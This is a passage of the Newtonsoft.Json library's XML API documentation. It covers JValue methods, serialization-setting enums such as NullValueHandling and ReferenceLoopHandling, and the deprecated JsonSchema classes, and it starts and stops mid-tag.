cref=\"T:System.Object\"/>; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.GetHashCode\">\n            <summary>\n            Serves as a hash function for a particular type.\n            </summary>\n            <returns>\n            A hash code for the current <see cref=\"T:System.Object\"/>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.ToString\">\n            <summary>\n            Returns a <see cref=\"T:System.String\"/> that represents this instance.\n            </summary>\n            <remarks>\n            <c>ToString()</c> returns a non-JSON string value for tokens with a type of <see cref=\"F:Newtonsoft.Json.Linq.JTokenType.String\"/>.\n            If you want the JSON for all token types then you should use <see cref=\"M:Newtonsoft.Json.Linq.JValue.WriteTo(Newtonsoft.Json.JsonWriter,Newtonsoft.Json.JsonConverter[])\"/>.\n            </remarks>\n            <returns>\n            A <see cref=\"T:System.String\"/> that represents this instance.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.ToString(System.String)\">\n            <summary>\n            Returns a <see cref=\"T:System.String\"/> that represents this instance.\n            </summary>\n            <param name=\"format\">The format.</param>\n            <returns>\n            A <see cref=\"T:System.String\"/> that represents this instance.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.ToString(System.IFormatProvider)\">\n            <summary>\n            Returns a <see cref=\"T:System.String\"/> that represents this instance.\n            </summary>\n            <param name=\"formatProvider\">The format provider.</param>\n            <returns>\n            A <see cref=\"T:System.String\"/> that represents this instance.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.ToString(System.String,System.IFormatProvider)\">\n            <summary>\n            Returns a <see cref=\"T:System.String\"/> that represents this instance.\n            </summary>\n            <param name=\"format\">The format.</param>\n            <param name=\"formatProvider\">The format provider.</param>\n            <returns>\n            A <see cref=\"T:System.String\"/> that represents this instance.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.GetMetaObject(System.Linq.Expressions.Expression)\">\n            <summary>\n            Returns the <see cref=\"T:System.Dynamic.DynamicMetaObject\"/> responsible for binding operations performed on this object.\n            </summary>\n            <param name=\"parameter\">The expression tree representation of the runtime value.</param>\n            <returns>\n            The <see cref=\"T:System.Dynamic.DynamicMetaObject\"/> to bind this object.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.CompareTo(Newtonsoft.Json.Linq.JValue)\">\n            <summary>\n            Compares the current instance with another object of the same type and returns an integer that indicates whether the current instance precedes, follows, or occurs in the same position in the sort order as the other object.\n            </summary>\n            <param name=\"obj\">An object to compare with this instance.</param>\n            <returns>\n            A 32-bit signed integer that indicates the relative order of the objects being compared. The return value has these meanings:\n            Value\n            Meaning\n            Less than zero\n            This instance is less than <paramref name=\"obj\"/>.\n            Zero\n            This instance is equal to <paramref name=\"obj\"/>.\n            Greater than zero\n            This instance is greater than <paramref name=\"obj\"/>.\n            </returns>\n            <exception cref=\"T:System.ArgumentException\">\n            \t<paramref name=\"obj\"/> is not of the same type as this instance.\n            </exception>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.LineInfoHandling\">\n            <summary>\n            Specifies how line information is handled when loading JSON.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.LineInfoHandling.Ignore\">\n            <summary>\n            Ignore line information.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.LineInfoHandling.Load\">\n            <summary>\n            Load line information.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.MergeArrayHandling\">\n            <summary>\n            Specifies how JSON arrays are merged together.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.MergeArrayHandling.Concat\">\n            <summary>Concatenate arrays.</summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.MergeArrayHandling.Union\">\n            <summary>Union arrays, skipping items that already exist.</summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.MergeArrayHandling.Replace\">\n            <summary>Replace all array items.</summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.MergeArrayHandling.Merge\">\n            <summary>Merge array items together, matched by index.</summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.MergeNullValueHandling\">\n            <summary>\n            Specifies how null value properties are merged.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.MergeNullValueHandling.Ignore\">\n            <summary>\n            The content's null value properties will be ignored during merging.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.MergeNullValueHandling.Merge\">\n            <summary>\n            The content's null value properties will be merged.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.MemberSerialization\">\n            <summary>\n            Specifies the member serialization options for the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.MemberSerialization.OptOut\">\n            <summary>\n            All public members are serialized by default. Members can be excluded using <see cref=\"T:Newtonsoft.Json.JsonIgnoreAttribute\"/> or <see cref=\"!:NonSerializedAttribute\"/>.\n            This is the default member serialization mode.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.MemberSerialization.OptIn\">\n            <summary>\n            Only members marked with <see cref=\"T:Newtonsoft.Json.JsonPropertyAttribute\"/> or <see cref=\"T:System.Runtime.Serialization.DataMemberAttribute\"/> are serialized.\n            This member serialization mode can also be set by marking the class with <see cref=\"T:System.Runtime.Serialization.DataContractAttribute\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.MemberSerialization.Fields\">\n            <summary>\n            All public and private fields are serialized. Members can be excluded using <see cref=\"T:Newtonsoft.Json.JsonIgnoreAttribute\"/> or <see cref=\"!:NonSerializedAttribute\"/>.\n            This member serialization mode can also be set by marking the class with <see cref=\"!:SerializableAttribute\"/>\n            and setting IgnoreSerializableAttribute on <see cref=\"T:Newtonsoft.Json.Serialization.DefaultContractResolver\"/> to <c>false</c>.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.MetadataPropertyHandling\">\n            <summary>\n            Specifies metadata property handling options for the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.MetadataPropertyHandling.Default\">\n            <summary>\n            Read metadata properties located at the start of a JSON object.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.MetadataPropertyHandling.ReadAhead\">\n            <summary>\n            Read metadata properties located anywhere in a JSON object. Note that this setting will impact performance.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.MetadataPropertyHandling.Ignore\">\n            <summary>\n            Do not try to read metadata properties.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.MissingMemberHandling\">\n            <summary>\n            Specifies missing member handling options for the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.MissingMemberHandling.Ignore\">\n            <summary>\n            Ignore a missing member and do not attempt to deserialize it.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.MissingMemberHandling.Error\">\n            <summary>\n            Throw a <see cref=\"T:Newtonsoft.Json.JsonSerializationException\"/> when a missing member is encountered during deserialization.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.NullValueHandling\">\n            <summary>\n            Specifies null value handling options for the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n            <example>\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\SerializationTests.cs\" region=\"ReducingSerializedJsonSizeNullValueHandlingObject\" title=\"NullValueHandling Class\" />\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\SerializationTests.cs\" region=\"ReducingSerializedJsonSizeNullValueHandlingExample\" title=\"NullValueHandling Ignore Example\" />\n            </example>\n        </member>\n        <member name=\"F:Newtonsoft.Json.NullValueHandling.Include\">\n            <summary>\n            Include null values when serializing and deserializing objects.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.NullValueHandling.Ignore\">\n            <summary>\n            Ignore null values when serializing and deserializing objects.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.ObjectCreationHandling\">\n            <summary>\n            Specifies how object creation is handled by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.ObjectCreationHandling.Auto\">\n            <summary>\n            Reuse existing objects, create new objects when needed.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.ObjectCreationHandling.Reuse\">\n            <summary>\n            Only reuse existing objects.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.ObjectCreationHandling.Replace\">\n            <summary>\n            Always create new objects.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.PreserveReferencesHandling\">\n            <summary>\n            Specifies reference handling options for the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            Note that references cannot be preserved when a value is set via a non-default constructor such as types that implement <see cref=\"T:System.Runtime.Serialization.ISerializable\"/>.\n            </summary>\n            <example>\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\SerializationTests.cs\" region=\"PreservingObjectReferencesOn\" title=\"Preserve Object References\" />       \n            </example>\n        </member>\n        <member name=\"F:Newtonsoft.Json.PreserveReferencesHandling.None\">\n            <summary>\n            Do not preserve references when serializing types.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.PreserveReferencesHandling.Objects\">\n            <summary>\n            Preserve references when serializing into a JSON object structure.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.PreserveReferencesHandling.Arrays\">\n            <summary>\n            Preserve references when serializing into a JSON array structure.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.PreserveReferencesHandling.All\">\n            <summary>\n            Preserve references when serializing.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.ReferenceLoopHandling\">\n            <summary>\n            Specifies reference loop handling options for the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.ReferenceLoopHandling.Error\">\n            <summary>\n            Throw a <see cref=\"T:Newtonsoft.Json.JsonSerializationException\"/> when a loop is encountered.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.ReferenceLoopHandling.Ignore\">\n            <summary>\n            Ignore loop references and do not serialize.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.ReferenceLoopHandling.Serialize\">\n            <summary>\n            Serialize loop references.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Required\">\n            <summary>\n            Indicating whether a property is required.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Required.Default\">\n            <summary>\n            The property is not required. The default state.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Required.AllowNull\">\n            <summary>\n            The property must be defined in JSON but can be a null value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Required.Always\">\n            <summary>\n            The property must be defined in JSON and cannot be a null value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Required.DisallowNull\">\n            <summary>\n            The property is not required but it cannot be a null value.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Schema.Extensions\">\n            <summary>\n            <para>\n            Contains the JSON schema extension methods.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.Extensions.IsValid(Newtonsoft.Json.Linq.JToken,Newtonsoft.Json.Schema.JsonSchema)\">\n            <summary>\n            <para>\n            Determines whether the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> is valid.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n            <param name=\"source\">The source <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to test.</param>\n            <param name=\"schema\">The schema to test with.</param>\n            <returns>\n            \t<c>true</c> if the specified <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> is valid; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.Extensions.IsValid(Newtonsoft.Json.Linq.JToken,Newtonsoft.Json.Schema.JsonSchema,System.Collections.Generic.IList{System.String}@)\">\n            <summary>\n            <para>\n            Determines whether the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> is valid.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n            <param name=\"source\">The source <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to test.</param>\n            <param name=\"schema\">The schema to test with.</param>\n            <param name=\"errorMessages\">When this method returns, contains any error messages generated while validating. </param>\n            <returns>\n            \t<c>true</c> if the specified <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> is valid; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.Extensions.Validate(Newtonsoft.Json.Linq.JToken,Newtonsoft.Json.Schema.JsonSchema)\">\n            <summary>\n            <para>\n            Validates the specified <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n            <param name=\"source\">The source <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to test.</param>\n            <param name=\"schema\">The schema to test with.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.Extensions.Validate(Newtonsoft.Json.Linq.JToken,Newtonsoft.Json.Schema.JsonSchema,Newtonsoft.Json.Schema.ValidationEventHandler)\">\n            <summary>\n            <para>\n            Validates the specified <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n            <param name=\"source\">The source <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to test.</param>\n            <param name=\"schema\">The schema to test with.</param>\n            <param name=\"validationEventHandler\">The validation event handler.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Schema.JsonSchema\">\n            <summary>\n            <para>\n            An in-memory representation of a JSON Schema.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Id\">\n            <summary>\n            Gets or sets the id.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Title\">\n            <summary>\n            Gets or sets the title.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Required\">\n            <summary>\n            Gets or sets whether the object is required.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.ReadOnly\">\n            <summary>\n            Gets or sets whether the object is read-only.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Hidden\">\n            <summary>\n            Gets or sets whether the object is visible to users.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Transient\">\n            <summary>\n            Gets or sets whether the object is transient.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Description\">\n            <summary>\n            Gets or sets the description of the object.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Type\">\n            <summary>\n            Gets or sets the types of values allowed by the object.\n            </summary>\n            <value>The type.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Pattern\">\n            <summary>\n            Gets or sets the pattern.\n            </summary>\n            <value>The pattern.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.MinimumLength\">\n            <summary>\n            Gets or sets the minimum length.\n            </summary>\n            <value>The minimum length.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.MaximumLength\">\n            <summary>\n            Gets or sets the maximum length.\n            </summary>\n            <value>The maximum length.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.DivisibleBy\">\n            <summary>\n            Gets or sets a number that the value should be divisible by.\n            </summary>\n            <value>A number that the value should be divisible by.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Minimum\">\n            <summary>\n            Gets or sets the minimum.\n            </summary>\n            <value>The minimum.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Maximum\">\n            <summary>\n            Gets or sets the maximum.\n            </summary>\n            <value>The maximum.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.ExclusiveMinimum\">\n            <summary>\n            Gets or sets a flag indicating whether the value can not equal the number defined by the <c>minimum</c> attribute (<see cref=\"P:Newtonsoft.Json.Schema.JsonSchema.Minimum\"/>).\n            </summary>\n            <value>A flag indicating whether the value can not equal the number defined by the <c>minimum</c> attribute (<see cref=\"P:Newtonsoft.Json.Schema.JsonSchema.Minimum\"/>).</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.ExclusiveMaximum\">\n            <summary>\n            Gets or sets a flag indicating whether the value can not equal the number defined by the <c>maximum</c> attribute (<see cref=\"P:Newtonsoft.Json.Schema.JsonSchema.Maximum\"/>).\n            </summary>\n            <value>A flag indicating whether the value can not equal the number defined by the <c>maximum</c> attribute (<see cref=\"P:Newtonsoft.Json.Schema.JsonSchema.Maximum\"/>).</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.MinimumItems\">\n            <summary>\n            Gets or sets the minimum number of items.\n            </summary>\n            <value>The minimum number of items.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.MaximumItems\">\n            <summary>\n            Gets or sets the maximum number of items.\n            </summary>\n            <value>The maximum number of items.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Items\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> of items.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> of items.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.PositionalItemsValidation\">\n            <summary>\n            Gets or sets a value indicating whether items in an array are validated using the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> instance at their array position from <see cref=\"P:Newtonsoft.Json.Schema.JsonSchema.Items\"/>.\n            </summary>\n            <value>\n            \t<c>true</c> if items are validated using their array position; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.AdditionalItems\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> of additional items.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> of additional items.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.AllowAdditionalItems\">\n            <summary>\n            Gets or sets a value indicating whether additional items are allowed.\n            </summary>\n            <value>\n            \t<c>true</c> if additional items are allowed; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.UniqueItems\">\n            <summary>\n            Gets or sets whether the array items must be unique.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Properties\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> of properties.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> of properties.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.AdditionalProperties\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> of additional properties.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> of additional properties.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.PatternProperties\">\n            <summary>\n            Gets or sets the pattern properties.\n            </summary>\n            <value>The pattern properties.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.AllowAdditionalProperties\">\n            <summary>\n            Gets or sets a value indicating whether additional properties are allowed.\n            </summary>\n            <value>\n            \t<c>true</c> if additional properties are allowed; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Requires\">\n            <summary>\n            Gets or sets the required property if this property is present.\n            </summary>\n            <value>The required property if this property is present.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Enum\">\n            <summary>\n            Gets or sets the a collection of valid enum values allowed.\n            </summary>\n            <value>A collection of valid enum values allowed.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Disallow\">\n            <summary>\n            Gets or sets disallowed types.\n            </summary>\n            <value>The disallowed types.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Default\">\n            <summary>\n            Gets or sets the default value.\n            </summary>\n            <value>The default value.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Extends\">\n            <summary>\n            Gets or sets the collection of <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> that this schema extends.\n            </summary>\n            <value>The collection of <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> that this schema extends.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Format\">\n            <summary>\n            Gets or sets the format.\n            </summary>\n            <value>The format.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchema.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchema.Read(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Reads a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> containing the JSON Schema to read.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> object representing the JSON Schema.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchema.Read(Newtonsoft.Json.JsonReader,Newtonsoft.Json.Schema.JsonSchemaResolver)\">\n            <summary>\n            Reads a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> containing the JSON Schema to read.</param>\n            <param name=\"resolver\">The <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaResolver\"/> to use when resolving schema references.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> object representing the JSON Schema.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchema.Parse(System.String)\">\n            <summary>\n            Load a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from a string that contains JSON Schema.\n            </summary>\n            <param name=\"json\">A <see cref=\"T:System.String\"/> that contains JSON Schema.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> populated from the string that contains JSON Schema.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchema.Parse(System.String,Newtonsoft.Json.Schema.JsonSchemaResolver)\">\n            <summary>\n            Load a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from a string that contains JSON Schema using the specified <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaResolver\"/>.\n            </summary>\n            <param name=\"json\">A <see cref=\"T:System.String\"/> that contains JSON Schema.</param>\n            <param name=\"resolver\">The resolver.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> populated from the string that contains JSON Schema.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchema.WriteTo(Newtonsoft.Json.JsonWriter)\">\n            <summary>\n            Writes this schema to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchema.WriteTo(Newtonsoft.Json.JsonWriter,Newtonsoft.Json.Schema.JsonSchemaResolver)\">\n            <summary>\n            Writes this schema to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> using the specified <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaResolver\"/>.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n            <param name=\"resolver\">The resolver used.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchema.ToString\">\n            <summary>\n            Returns a <see cref=\"T:System.String\"/> that represents the current <see cref=\"T:System.Object\"/>.\n            </summary>\n            <returns>\n            A <see cref=\"T:System.String\"/> that represents the current <see cref=\"T:System.Object\"/>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Schema.JsonSchemaException\">\n            <summary>\n            <para>\n            Returns detailed information about the schema exception.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchemaException.LineNumber\">\n            <summary>\n            Gets the line number indicating where the error occurred.\n            </summary>\n            <value>The line number indicating where the error occurred.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchemaException.LinePosition\">\n            <summary>\n            Gets the line position indicating where the error occurred.\n            </summary>\n            <value>The line position indicating where the error occurred.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchemaException.Path\">\n            <summary>\n            Gets the path to the JSON where the error occurred.\n            </summary>\n            <value>The path to the JSON where the error occurred.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchemaException.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaException\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchemaException.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaException\"/> class\n            with a specified error message.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchemaException.#ctor(System.String,System.Exception)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaException\"/> class\n            with a specified error message and a reference to the inner exception that is the cause of this exception.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n            <param name=\"innerException\">The exception that is the cause of the current exception, or <c>null</c> if no inner exception is specified.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Schema.JsonSchemaGenerator\">\n            <summary>\n            <para>\n            Generates a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from a specified <see cref=\"T:System.Type\"/>.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchemaGenerator.UndefinedSchemaIdHandling\">\n            <summary>\n            Gets or sets how undefined schemas are handled by the serializer.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchemaGenerator.ContractResolver\">\n            <summary>\n            Gets or sets the contract resolver.\n            </summary>\n            <value>The contract resolver.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchemaGenerator.Generate(System.Type)\">\n            <summary>\n            Generate a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from the specified type.\n            </summary>\n            <param name=\"type\">The type to generate a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> generated from the specified type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchemaGenerator.Generate(System.Type,Newtonsoft.Json.Schema.JsonSchemaResolver)\">\n            <summary>\n            Generate a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from the specified type.\n            </summary>\n            <param name=\"type\">The type to generate a <see 